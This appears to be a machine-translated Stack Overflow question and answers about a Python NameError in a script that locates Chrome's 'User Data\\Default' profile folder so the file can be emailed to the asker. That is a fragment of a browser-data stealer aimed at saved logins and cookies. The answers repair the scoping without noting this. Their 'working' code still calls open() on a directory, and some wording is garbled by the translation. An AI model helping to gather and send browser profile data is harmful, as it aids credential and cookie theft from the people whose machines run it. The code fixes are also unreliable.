2017-10-04 75 views
-2

我最近尝试以代码的程序给我发送电子邮件与特定的文件,但我不断收到此错误:无法能够使用变量(蟒蛇)

"Traceback (most recent call last): 
    File "C:\Users\DedHex\Desktop\j.py", line 29, in <module> 
    attachment = open(PathName, "rb") 
NameError: name 'PathName' is not defined" 

但路径名......所以我真的需要这方面的帮助,因为它花了一段代码。

我的代码:

filename = "bob" 
def getpath(): 
    if os.name == "nt": 
     # This is the Windows Path 
     PathName = os.getenv('localappdata') + \ 
     '\\Google\\Chrome\\User Data\\Default\\' 
     if (os.path.isdir(PathName) == False): 
      print('[!] Chrome Doesn\'t exists') 
attachment = open(PathName, "rb") 

回答

0

路径名仅在getpath()定义,并且你想使用它的getpath()的范围之内。

0

尝试使这个PathName全球

filename = "bob" 
def getpath(): 
    global PathName 
    if os.name == "nt": 
     # This is the Windows Path 
     PathName = os.getenv('localappdata') + \ 
     '\\Google\\Chrome\\User Data\\Default\\' 
     if (os.path.isdir(PathName) == False): 
      print('[!] Chrome Doesn\'t exists') 
attachment = open(PathName, "rb") 
0

由于PathName是内getpath()定义,你需要一种方法来访问它在它之外。
return PathName将让你访问哪些是通过PathName = getpath()存储在PathNamegetpath()

下面的代码应该工作:

filename = "bob" 
def getpath(): 
    if os.name == "nt": 
     # This is the Windows Path 
     PathName = os.getenv('localappdata') + \ 
     '\\Google\\Chrome\\User Data\\Default\\' 
     if (os.path.isdir(PathName) == False): 
      print('[!] Chrome Doesn\'t exists') 
    return PathName 
PathName = getpath() 
attachment = open(PathName, "rb") 

如果您有任何疑问,为什么这样的作品,我很高兴能进入更详细!